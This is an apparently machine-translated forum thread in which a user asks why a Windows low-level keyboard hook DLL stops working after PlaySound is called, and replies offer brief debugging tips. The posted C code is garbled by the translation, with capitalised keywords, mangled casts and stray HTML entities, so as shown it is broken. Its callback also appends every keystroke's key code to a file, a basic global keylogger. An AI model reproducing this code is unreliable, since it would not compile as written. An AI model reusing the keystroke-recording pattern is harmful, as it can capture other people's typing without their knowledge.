Home > Software engineering >  Keyboard hook callback function in the thread of execution
Keyboard hook callback function in the thread of execution

Time:10-11

DLL:
 
BOOL WINAPI StartKeyHook (LPKEYBOARDPROC LPKEYBOARDPROC)
{
//hook existing
If (g_hHook!=NULL) return false.
G_lpKeyboardProc=lpKeyboardProc;
//create a hook
G_hHook=SetWindowsHookEx (WH_KEYBOARD_LL LowLevelKeyboardProc,
G_hinstDLL, NULL);
If (g_hHook==NULL) return false.
return true;
}

BOOL WINAPI StopKeyHook ()
{
If (g_hHook==NULL) return false.
If (UnhookWindowsHookEx (g_hHook)==0) return false.
G_hHook=NULL;
return true;
}
//underlying keyboard hook handler
LRESULT a CALLBACK LowLevelKeyboardProc (int nCode, WPARAM WPARAM, LPARAM LPARAM)
{
If (nCode & gt;=HC_ACTION & amp; & WParam==WM_KEYDOWN)
{
LParam KBDLLHOOKSTRUCT * pStruct=(KBDLLHOOKSTRUCT *);
If (1)
{
If (g_lpKeyboardProc (wParam, pStruct))
{

Return CallNextHookEx (g_hHook, nCode wParam, lParam);

}
The else return true;
}
The else
{
Return CallNextHookEx (g_hHook, nCode wParam, lParam);
}
}
The else
Return CallNextHookEx (g_hHook, nCode wParam, lParam);
}

MFC callback function
BOOL CALLBACK YourFunctionName1 (WPARAM WPARAM, KBDLLHOOKSTRUCT * pStruct)
{the FILE * fp;
HANDLE handle1, handle2;
Int a=0;
A=pStruct - & gt; VkCode;
Fp=fopen (" c: \ \ 1. TXT ", "a +");
Fwrite ((unsigned char *) & amp; A, 1, 1, fp);
The fclose (fp);
If (pStruct - & gt; VkCode==0 x30)
{

Handle1=CreateThread (NULL, 0, MyThreadProc1, NULL, 0, NULL);

//PlaySoundA (TEXT (" C: \ \ alarm wav "), NULL, SND_FILENAME | SND_SYNC);
The CloseHandle (handle1);

return true;
}
return true;
}



I want to press a keyboard, is broadcast sound, but playsound can play for the first time, in the press the keyboard, the keyboard hook to failure,
Put playsound thread is the same effect,
Where the root of the problem is, or what is the alternative schemes,
Thank you for

Daniel, o level really limited, to reassure

CodePudding user response:

Hook generally don't executive time code,
Whether hook capture the keyboard message, create a thread success? Add the TRACE or log, check the running status

CodePudding user response:

I modified the registry of waiting time, and then sleep for 10 seconds, still can normal use, but once call PlaySound, was ended,

Then StopKey, uninstall hooks, complains GetLastError=1404, invalid handle to the hook,

Where do you think is likely to be problems, I am using Windows 7

Thank you for the

CodePudding user response:

May I have your problem solved?
  • Related